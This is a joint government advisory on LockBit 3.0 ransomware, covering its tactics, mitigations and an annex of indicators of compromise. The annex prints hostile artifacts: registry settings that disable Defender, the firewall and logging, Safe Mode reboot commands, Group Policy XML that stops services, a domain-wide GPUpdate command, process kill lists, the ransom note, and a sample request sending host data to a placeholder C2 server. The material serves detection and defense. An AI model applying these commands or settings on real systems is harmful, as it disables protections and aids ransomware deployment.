Joint Technical Advisory on LockBit 3.0

This joint technical advisory is the result of a collaborative effort between the Cyber Security Agency of Singapore (CSA), the Personal Data Protection Commission (PDPC) and the Singapore Police Force (SPF). There have been several reports over the past few years where Singapore-based business organisations were infected with LockBit ransomware.

This joint advisory highlights LockBit 3.0's background and the observed Tactics, Techniques and Procedures (TTPs) employed by the threat actors to compromise their victims' networks and provides recommended measures for organisations to mitigate the threats posed. Information from this advisory is drawn from various sources, and are inclusive but not limited to National CERTs, open-source research, etc.

Background of LockBit

LockBit, a ransomware[1] that first surfaced in September 2019, has become increasingly widespread and evolved over the years into three major versions - LockBit 1.0, LockBit 2.0 (also known as LockBit Red and released in mid-2021), and LockBit 3.0 (or LockBit Black and released in June 2022). Compared to its predecessors, LockBit 3.0 has a more modular architecture and uses sophisticated evasive techniques.

Since January 2020, LockBit has been operating as affiliate-based ransomware with a "ransomware-as-a-service" (RaaS) model, providing its software and infrastructure to other cybercriminal groups (affiliates[2]) for financial gain, who then use it to conduct their own attacks. LockBit rose to prominence due to its easy-to-use software that contains automated mechanisms for payload distribution and data encryption that can be readily deployed by its affiliates.

LockBit affiliates tend to employ a double extortion tactic, where it encrypts data on victims' systems and threatens to publicly release exfiltrated data on its data leak site (DLS) unless a ransom is paid. Victims are typically required to make two payments: one to have their data decrypted and another to prevent their sensitive information from being leaked. LockBit affiliates sometimes employ a third extortion tactic (in addition to the aforementioned double extortion tactics), in which distributed denial-of-service (DDoS) attacks are launched on victims' systems to intensify the pressure to pay the ransom.

---

[1] Ransomware is a type of malware that encrypts the files on a victim's computer and renders them inaccessible, before demanding a ransom in exchange for a decryption key. Once a computer or network is infected with ransomware, the victim typically receives a message or notification on their screen informing them that their files have been encrypted and providing instructions on how to pay the ransom.

[2] "Affiliates" and "Threat Actors" will be used interchangeably in this advisory.

LockBit affiliates have targeted businesses and organisations worldwide across a variety of sectors including healthcare, manufacturing, and industrial control systems. They are also known for their opportunistic nature, preying on those with weak credentials and exploiting unpatched systems with Virtual Private Network (VPN) and/or Remote Desktop Protocol (RDP) services.

Observed Tactics, Techniques and Procedures (TTPs)

Initial Access

LockBit 3.0 affiliates use a range of techniques to gain initial access into a victim's network. These techniques include:

- Brute force attacks on remote services (e.g VPN, RDP)
- Use of stolen account credentials acquired from Initial Access Brokers (IABs)
- Drive-by compromise and phishing campaigns to trick victims into downloading malicious software that obtains user credentials
- Exploitation of known vulnerabilities in public-facing applications (e.g Microsoft Exchange servers, Fortigate SSL VPN, F5 BIG-IP, ESXi servers, and Microsoft IIS servers)

Execution and Infection

LockBit 3.0 payloads are designed to execute with administrative privileges. If the malware does not have the necessary privileges, it will attempt to escalate to the required privileges.

LockBit 3.0 performs functions that includes:

- Enumerating system information such as hostname, host configuration, domain information, local drive configuration, remote shares, and mounted external storage devices
- Terminating processes and services
- Launching commands
- Enabling automatic logons for persistence and privilege escalation
- Deleting log files, files in the recycle bin folder, and shadow copies residing on disk

LockBit 3.0 is typically able to self-propagate through a targeted network using either pre-configured credentials or a compromised local account with elevated privileges. The ransomware can also be configured to spread via Group Policy Objects and PsExec using the Server Message Block (SMB) protocol. It can also leverage Windows Management Instrumentation (WMI) and Cobalt Strike built-in features to perform lateral movement.

Post-Infection

LockBit 3.0 employs several methods to exfiltrate sensitive company information prior to encryption. These include the use of StealBit, a custom exfiltration tool, rclone, an open-source command line cloud storage manager, or other publicly available file-sharing services like MEGASync or FreeFileSync. While many of these services have legitimate uses, LockBit 3.0 threat actors exploit them to aid in system compromise, network exploration, or data exfiltration. Other publicly available file-sharing services frequently leveraged for data exfiltration purposes are provided below.

File Sharing Sites
hXXps://www.premiumize[.]com
hXXps://anonfiles[.]com
hXXps://www.sendspace[.]com
hXXps://fex[.]net
hXXps://transfer[.]sh
hXXps://send.exploit[.]in

Once data exfiltration is completed, LockBit 3.0 encrypts any data that is saved to local or remote devices connected to the compromised network while avoiding files that are associated with critical system functions. LockBit 3.0 will then drop a ransom note with a filename <Ransomware ID>.README.txt along with a change to the infected host's desktop background. Newly encrypted files are typically appended and prepended with an extension of a random string. Upon completion of its tasks, LockBit 3.0 removes itself from the disk and restores all Group Policy changes to original configurations.

Image 1 - LockBit 3.0 Desktop Wallpaper

LockBit 3.0 uses a variety of anti-forensics techniques to hinder static and dynamic analysis of the malware and evade detection. These techniques include code packing, obfuscation and dynamic resolution of function addresses, deletion of Windows Event Logs, terminating security processes, and anti-debugging techniques.

Please refer to Annex A for observed TTPs employed by LockBit 3.0 threat actors mapped to the *MITRE ATT&CK framework for Enterprise*.

Indicators of Compromise (IOCS)

There are several IOCs observed to be associated with LockBit 3.0. Please refer to Annex B for a list of IOCs and malware characteristics of LockBit 3.0, which is updated as of March 2023.

Recommended Prevention and Mitigation Measures

Organisations are encouraged to implement and regularly monitor the compliance of the following mitigation measures and policies to strengthen their cybersecurity posture and reduce the risk of a ransomware incident severely afflicting their organisation.

Use Strong Passwords and Multi-factor Authentication (MFA)

Organisations should use password policies requiring the use of strong passwords of at least 12 characters with upper and lower-case letters, numbers, and special characters, and implement MFA to minimise the risk of unauthorised access to all internet-facing services (e.g VPNs), and to accounts that access critical systems.

Use Anti-Virus/Anti-Malware Software

Organisations should install reputable anti-virus/anti-malware software on their computers and networks to detect the presence of LockBit or other ransomware variants. This can be done through real-time monitoring of system processes, network traffic, and file activity for IOCs typically associated with the malware. The software can be configured to block the execution of suspicious files, to prevent unauthorised remote connections, and to restrict access to sensitive files and folders.

Update and Patch Regularly

Organisations should periodically scan their systems and networks for vulnerabilities and regularly update all operating systems, applications, and software by applying the latest security patches promptly, especially for business-critical functions. If immediate patching is not possible or feasible, vendor-provided mitigations should be implemented. For applications that have reached end-of-life (EoL), organisations are recommended to migrate to supported applications.

Review Settings on Exposed Services and Open Ports

Organisations should review exposed services and open ports such as RDP port 3389 and SMB port 445 in their network and restrict connections only to trusted hosts to prevent the spread of ransomware.

Implement Network Segregation or Segmentation

Organisations can consider implementing network segmentation that divides a larger network into smaller sub-networks with limited interconnectivity between them. This will control traffic flow between the sub-networks, prevent lateral movement and limit the spread of ransomware, should one part be compromised. Implementing network segmentation also generates logs for traffic flow between various sub-networks. Organisations should monitor these logs for any suspicious activities and carry out remediation measures, where necessary.

Organisations can also consider restricting Internet access (e.g. via blacklisting or whitelisting), using a risk-based approach, especially where there is direct access from endpoints to large amounts of personal or sensitive data. When these endpoints, such as employee laptops, are compromised, there is a higher risk of personal data being exfiltrated.

Maintain Routine Backups of Data

Organisations should implement routine backups to create and save copies of important files to external and offline storage devices. The backups should include immutable copies that will allow for system restoration in the event of a cybersecurity incident and minimise data loss. In addition, the backups should be regularly tested to ensure that the backup data can be recovered and restored in time to help the business recover from data corruption or destruction. Organisations are advised to follow the 3-2-1 rule when performing backups:

- 3 copies of backups
- 2 different media formats of backups
- 1 set of backups stored off-site

Develop Incident Response and Business Continuity Plans

Organisations should develop an incident response plan and conduct exercises to test the plan before an actual ransomware attack takes place, which will allow organisations to swiftly and decisively implement a plan to mitigate the situation. Organisations should also work out Business Continuity Plans (BCPs) with measures tailored to their needs to minimise the impact on business operations in the event of an attack.

Conduct Security Awareness for Employees

Organisations should educate employees and regularly remind them to be alert to phishing and other forms of social engineering. Even with cybersecurity measures in place, an employee's careless actions can still provide opportunities for cyber criminals to exploit.

Organisations should conduct regular phishing simulation exercises to train employees to be alert. These should complement existing employee education.

Organisations should put in place processes to regularly monitor the awareness and adoption levels of their employees.

Keep Only Essential Data

Organisations should only collect, process, store and retain data that are essential for business, operational or legal requirements. By only storing and retaining necessary data, the impact to an organisation due to a data breach can be minimised. Furthermore, additional resources required to protect these unnecessary data can be avoided by simply not collecting them in the first place. Some data minimisation practices include:

- Minimise collection of personal data
- Collect information on personal identifiers (e.g. national identification number) only when absolutely necessary
- Be aware of metadata (e.g. EXIF data in image files) embedded within files. Consider not collecting such data or removing them if not needed
- Avoid continuous automatic collection of personal data
- Avoid repeatedly collecting the same data at different stages of an interaction
- Be aware of caching information in temporary data stores and to regularly clear caches
- Ensure archival data past its retention period are diligently removed

Should you pay the ransom?

If your organisation's systems have been compromised with ransomware, we do not recommend paying the ransom and advise you to report the incident immediately to the authorities. Paying the ransom does not guarantee that the data will be decrypted or that threat actors will not publish your data. Furthermore, threat actors may see your organisation as a soft target and strike again in the future. They may also continue their criminal activities and target more victims.

Additional Resources

SingCERT Ransomware Advisory:
https://www.csa.gov.sg/docs/default-source/publications/singcert/pdfs/singcert-advisory-protect-your-systems-and-data-from-ransomware-attacks.pdf

SingCERT Ransomware Response Checklist:
https://www.csa.gov.sg/docs/default-source/publications/singcert/pdfs/ransomware-response-checklist.pdf

PDPC Guides to Protect Against Data Breaches:
https://www.pdpc.gov.sg/-/media/files/pdpc/pdf-files/other-guides/tech-omnibus/how-to-guard-against-common-types-of-data-breaches-handbook.pdf

https://www.pdpc.gov.sg/Help-and-Resources/2021/08/Data-Protection-Practices-for-ICT-Systems

https://www.pdpc.gov.sg//-/media/Files/PDPC/PDF-Files/Other-Guides/Cloud-Data-Breach-infographic-pdf.pdf?la=en

No More Ransom Initiative:
https://www.nomoreransom.org

MITRE ATT&CK Framework:
https://attack.mitre.org/matrices/enterprise

References

https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a
https://www.cyber.gov.au/acsc/view-all-content/advisories/2023-03-acsc-ransomware-profile-lockbit-30
https://www.ic3.gov/Media/PDF/AnnualReport/2022_IC3Report.pdf
https://www.trendmicro.com/en_us/research/22/g/lockbit-ransomware-group-augments-its-latest-variant--lockbit-3-.html
https://www.dragos.com/blog/industry-news/dragos-industrial-ransomware-analysis-q4-2022/
https://www.picussecurity.com/resource/blog/cisa-alert-aa23-075a-the-latest-lockbit-ransomware-variant-lockbit-3.0

Issued by:

CSA SINGAPORE

pdpc PERSONAL DATA PROTECTION COMMISSION SINGAPORE

SINGAPORE POLICE FORCE
SAFEGUARDING EVERY DAY

Annex A - MITRE ATT&CK Techniques

The table below illustrates LockBit 3.0's observed tactics and techniques mapped to the *MITRE ATT&CK framework for Enterprise*.

Technique	ID	Description
Initial Access		
Valid Accounts	T1078	Obtains credentials for valid accounts and abuses the credentials to gain initial access to victim networks.
External Remote Services	T1133	Exploits RDP to gain access to victim networks
Drive-by Compromise	T1189	Gains access to a system through a user visiting an infected website over the normal course of browsing
Exploit Public-Facing Application	T1190	Exploits vulnerabilities in internet-facing systems to gain access to victims' systems
Phishing	T1566	Uses phishing and spear phishing to gain access to victims' networks
Execution		
Windows Management Instrumentation	T1047	Uses WMI to execute malicious commands and payloads
Command and Scripting Interpreter	T1059	Uses command and script interpreters such as windows command shell or PowerShell to execute commands, scripts, or binaries
System Services: Service Execution	T1569.002	Uses the legitimate Windows Sysinternals tool PsExec to execute malicious content
Software Deployment Tools	T1072	Uses Chocolatey, a command-line package manager, for Windows
Persistence		
Boot or Logo Autostart Execution	T1547	Enables automatic logons to establish persistence
Boot or Logon Autostart	T1547.001	Sets registry to start on next normal boot

Execution: Registry Run Keys		if started in safe mode
Privilege Escalation		
Access Token Manipulation: Token Impersonation	T1134.001	Starts processes with a known token with the purpose of duplicating tokens
Boot or Logo Autostart Execution	T1547	Enables automatic logons for privilege escalation
Defence Evasion		
Obfuscated Files or Information	T1027	Sends encrypted host and bot information to its C2 servers
Indicator Removal: File Deletion	T1070.004	Deletes itself from the disk
Execution Guardrails: Environmental Keying	T1480.001	Decrypts only the main component or continue to decrypt and/or decompress data if the correct password is entered
Credential Access		
OS Credential Dumping: LSASS Memory	T1003.001	Uses Microsoft Sysinternals ProDump to dump the contents of LSASS.exe
Discovery		
Network Service Discovery	T1046	Scans target networks for vulnerable network services
System Information Discovery	T1082	Enumerates system information to include hostname, host configuration, domain information, local drive configuration, remote shares, and mounted external storage devices
System Location Discovery: System Language Discovery	T1614.001	Does not infect machines with language settings that match a defined exclusion list
Lateral Movement		
Remote Services: Remote Desktop Protocol	T1021.001	Uses remote-desktop software to facilitate lateral movement

Command and Control		
Application Layer Protocol: Web Protocols	T1071.001	Uses HTTP to communicate with C2
Application Layer Protocol: File Transfer Protocols	T1071.002	Uses FileZilla for C2
Protocol Tunnel	T1572	Uses PuTTY's Plink to automate SSH actions on Windows
Encrypted channel	T1573	Uses TLS 1.2
Exfiltration		
Exfiltration Over C2 Channel	T1041	Sends basic system information in POST request
Exfiltration Over Web Service	T1567	Uses publicly available file-sharing services for data exfiltration
Exfiltration Over Web Service: Exfiltration to Cloud Storage	T1567.002	Uses (1) rclone, an open-source command line cloud storage manager to exfiltrate and (2) MEGA, a publicly available file-sharing service for data exfiltration
Impact		
Data Destruction	T1485	Deletes log files and empties the recycle bin
Service Stop	T1489	Terminates processes and services
Inhibit System Recovery	T1490	Deletes volume shadow copies residing on disk
Data Encrypted for Impact	T1486	Encrypts data on target systems to interrupt the availability to system and network resources
Defacement: Internal Defacement	T1491.001	Changes the host system’s wallpaper and icons to display the LockBit 3.0 wallpaper and icons, respectively

Table 1 - LockBit 3.0 MITRE ATT&CK Techniques for Enterprise

Annex B - Indicators of Compromise (IOCS)

LockBit Command Line Parameters

LockBit Parameters	Description
`-del`	Self-delete
`-gdel`	Remove LockBit 3.0 group policy changes
`-gspd`	Spread laterally via group policy
`-pass (32 character value)`	(Required) Password used to launch LockBit 3.0.
`-path (File or path)`	Only encrypts provided file or folder
`-psex`	Spread laterally via admin shares
`-safe`	Reboot host into Safe Mode
`-wall`	Sets LockBit 3.0 Wallpaper and prints out LockBit 3.0 ransom note

Registry Artifacts

LockBit 3.0 Icon

Registry Key	Value	Data
`HKCR\. <Malware Extension>`	`(Default)`	`<Malware Extension>`
`HKCR\<Malware Extension>\DefaultIcon`	`(Default)`	`C:\ProgramData\<Malware Extension>.ico`

LockBit 3.0 Wallpaper

Registry Key	Value	Data
`HKCU\Control Panel\Desktop\WallPaper`	`(Default)`	`C:\ProgramData\<Malware Extension>.bmp`

Disable Privacy Settings Experience

Registry Key	Value	Data
SOFTWARE\Policies\Microsoft\Windows\OOBE	DisablePrivacyExperience	0

Enable Automatic Logon

Registry Key	Value	Data
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon	AutoAdminLogon	1
	DefaultUserName	<username>
	DefaultDomainName	<domain name>
	DefaultPassword	<password>

Disable and Clear Windows Event Logs

Registry Key	Value	Data
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels*	Enabled	0
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels* \ChannelAccess	ChannelAccess	AO:BAG:SYD:(A;;0x1;;;SY)(A;;0x5;;;BA)(A;;0x1;;;LA)

LockBit 3.0 File Path Locations

ADMIN$\Temp\<LockBit3.0 Filename>.exe
%SystemRoot%\Temp\<LockBit3.0 Filename>.exe
\<Domain Name>\sysvol\<Domain Name>\scripts\<LockBit 3.0 Filename>.exe (Domain Controller)

Safe Mode Launch Commands

Operating System	Safe Mode with Networking command
Vista and newer	`bcdedit /set {current} safeboot network`
Pre-Vista	`bootcfg /raw /a /safeboot:network /id 1`

Operating System	Disable Safe mode reboot
Vista and newer	`bcdedit /deletevalue {current} safeboot`
Pre-Vista	`bootcfg /raw /fastdetect /id 1`

Group Policy Artifacts

NetworkShares.xml

```
<?xml version="1.0" encoding="utf-8"?>
<NetworkShareSettings clsid="{520870D8-A6E7-47e8-A8D8-
E6A4E76EAEC2}">
<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}"
image="2" name="%%ComputerName%%_D" changed="%s" uid="%s">
<Properties action="U" name="%%ComputerName%%_D" path="D:"
comment="" allRegular="0" allHidden="0" allAdminDrive="0"
limitUsers="NO_CHANGE" abe="NO_CHANGE"/>
```

Services.xml

```
<?xml version="1.0" encoding="utf-8"?>
<NTServices clsid="{2CFB484A-4E96-4b5d-A0B6-093D2F91E6AE}">
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SQLPBDMS" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SQLPBDMS"
serviceAction="STOP" timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SQLPBENGINE" image="4" changed="%s" uid="%s"
disabled="0">
<Properties startupType="DISABLED" serviceName="SQLPBENGINE"
serviceAction="STOP" timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="MSSQLFDLauncher" image="4" changed="%s" uid="%s"
userContext="0" removePolicy="0" disabled="0">
```

```
<Properties startupType="DISABLED"
serviceName="MSSQLFDLauncher" serviceAction="STOP"
timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SQLSERVERAGENT" image="4" changed="%s" uid="%s"
disabled="0">
<Properties startupType="DISABLED"
serviceName="SQLSERVERAGENT" serviceAction="STOP"
timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="MSSQLServerOLAPService" image="4" changed="%s" uid="%s"
disabled="0">
<Properties startupType="DISABLED"
serviceName="MSSQLServerOLAPService" serviceAction="STOP"
timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SSASTELEMETRY" image="4" changed="%s" uid="%s"
disabled="0">
<Properties startupType="DISABLED"
serviceName="SSASTELEMETRY" serviceAction="STOP"
timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SQLBrowser" image="4" changed="%s" uid="%s"
disabled="0">
<Properties startupType="DISABLED" serviceName="SQLBrowser"
serviceAction="STOP" timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SQL Server Distributed Replay Client" image="4"
changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SQL Server
Distributed Replay Client" serviceAction="STOP"
timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SQL Server Distributed Replay Controller" image="4"
changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SQL Server
Distributed Replay Controller" serviceAction="STOP"
timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="MsDtsServer150" image="4" changed="%s" uid="%s"
disabled="0">
<Properties startupType="DISABLED"
serviceName="MsDtsServer150" serviceAction="STOP"
```

```
timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SSISTELEMETRY150" image="4" changed="%s" uid="%s"
disabled="0">
<Properties startupType="DISABLED"
serviceName="SSISTELEMETRY150" serviceAction="STOP"
timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SSISScaleOutMaster150" image="4" changed="%s" uid="%s"
disabled="0">
<Properties startupType="DISABLED"
serviceName="SSISScaleOutMaster150" serviceAction="STOP"
timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SSISScaleOutWorker150" image="4" changed="%s" uid="%s"
disabled="0">
<Properties startupType="DISABLED"
serviceName="SSISScaleOutWorker150" serviceAction="STOP"
timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="MSSQLLaunchpad" image="4" changed="%s" uid="%s"
disabled="0">
<Properties startupType="DISABLED"
serviceName="MSSQLLaunchpad" serviceAction="STOP"
timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SQLWriter" image="4" changed="%s" uid="%s"
disabled="0">
<Properties startupType="DISABLED" serviceName="SQLWriter"
serviceAction="STOP" timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="SQLTELEMETRY" image="4" changed="%s" uid="%s"
disabled="0">
<Properties startupType="DISABLED" serviceName="SQLTELEMETRY"
serviceAction="STOP" timeout="30"/>
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}"
name="MSSQLSERVER" image="4" changed="%s" uid="%s"
disabled="0">
<Properties startupType="DISABLED" serviceName="MSSQLSERVER"
serviceAction="STOP" timeout="60"/>
</NTService>
</NTServices>
```

Registry.pol

Registry Key	Registry Value	Value type	Data
HKLM\SOFTWARE\Policies\Microsoft\Windows\System	GroupPolicyRefreshTimeDC	REG_DWORD	1
HKLM\SOFTWARE\Policies\Microsoft\Windows\System	GroupPolicyRefreshTimeOffsetDC	REG_DWORD	1
HKLM\SOFTWARE\Policies\Microsoft\Windows\System	GroupPolicyRefreshTime	REG_DWORD	1
HKLM\SOFTWARE\Policies\Microsoft\Windows\System	GroupPolicyRefreshTimeOffset	REG_DWORD	1
HKLM\SOFTWARE\Policies\Microsoft\Windows\System	EnableSmartScreen	REG_DWORD	0
HKLM\SOFTWARE\Policies\Microsoft\Windows\System	**del.ShellSmartScreenLevel	REG_SZ	
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender	DisableAntiSpyware	REG_DWORD	1
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender	DisableRoutinelyTakingAction	REG_DWORD	1
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	DisableRealtimeMonitoring	REG_DWORD	1

HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	DisableBehaviorMonitoring	REG_DWORD	1
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet	SubmitSamplesConsent	REG_DWORD	2
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet	SpynetReporting	REG_DWORD	0
HKLM\SOFTWARE\Policies\Microsoft\Windows Firewall\DomainProfile	EnableFirewall	REG_DWORD	0
HKLM\SOFTWARE\Policies\Microsoft\Windows Firewall\StandardProfile	EnableFirewall	REG_DWORD	0

Group Policy update (GPUpdate)

Force GPUpdate Powershell Command
powershell Get-ADComputer -filter * -Searchbase '%s' | Foreach-Object { Invoke- GPUpdate -computer $_.name -force -RandomDelayInMinutes 0}

Services Killed

vss	sql	svc$
memtas	mepocs	msexchange
sophos	veeam	backup
GxVss	GxBlr	GxFWD
GxCVD	GxCIMgr	

Processes Killed

sql	oracle	ocssd
dbsnmp	synctime	agntsvc
isqlplussvc	xfssvccon	mydesktopservice
ocautoupds	encsvc	firefox
tbirdconfig	mydesktopqos	ocomm
dbeng50	sqbcoreservice	excel
infopath	msaccess	mspu
onenote	outlook	powerpnt
steam	thebat	thunderbird
visio	winword	wordpad
notepad		

LockBit 3.0 Ransom Note

~~~ LockBit 3.0 the world's fastest and most stable ransomware from 2019~~~
>>>>> Your data is stolen and encrypted.
If you don't pay the ransom, the data will be published on our TOR darknet sites. Keep in mind that once your data appears on our leak site, it could be bought by your competitors at any second, so don't hesitate for a long time. The sooner you pay the ransom, the sooner your company will be safe.
~~~

Network Connections

HTTP POST requests to C2 servers

```
Example of HTTP POST request
POST <LockBit
C2>/?7F6Da=u5a0TdP0&Aojq=&NtN1W=OuoaovMvrVJSmPNaA5&fckp9=FCYy
T6b7kdyeEXywS8I8 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br Content-Type: text/plain
User-Agent: Safari/537.36 <LockBit User Agent String>
Host: <LockBit C2>
Connection: Keep-Alive LIWy=RJ51lB5GM&a4OuN=<LockBit
ID>&LoSyE3=8SZ1hdlhzld4&DHnd99T=rTx9xGlInO6X0zWW&2D6=Bokz&T1g
uL=MtRZsFCRMKyBmfmqI& 6SF3g=JPDt9lfJIQ&wQadZP=<Base64
encrypted data>
Xni=AboZOXwUw&2rQnM4=94L&0b=ZfKv7c&NO1d=M2kJlyus&AgbDTb=xwSpb
a&8sr=EndL4n0HVZjxPR&
m4ZhTTH=sBVnPY&xZDiygN=cU1pAwKEztU&=5q55aFIAfTVQWTEm&4sXwVWcy
hy=l68FrIdBESIvfCkvYl
Example of information found in encrypted data
{
"bot_version":"X",
"bot_id":"X",
"bot_company":"X", "host_hostname":"X", "host_user":"X",
"host_os":"X",
"host_domain":"X",
"host_arch":"X",
"host_lang":"X", "disks_info":[
{
"disk_name":"X",
"disk_size":"XXXX", "free_size":"XXXXX"
}
```

User Agent Strings

Mozilla/5.0 (Windows NT 6.1)	AppleWebKit/587.38 (KHTML, like Gecko)	Chrome/91.0.4472.77
Safari/537.36	Edge/91.0.864.37	Firefox/89.0
Gecko/20100101		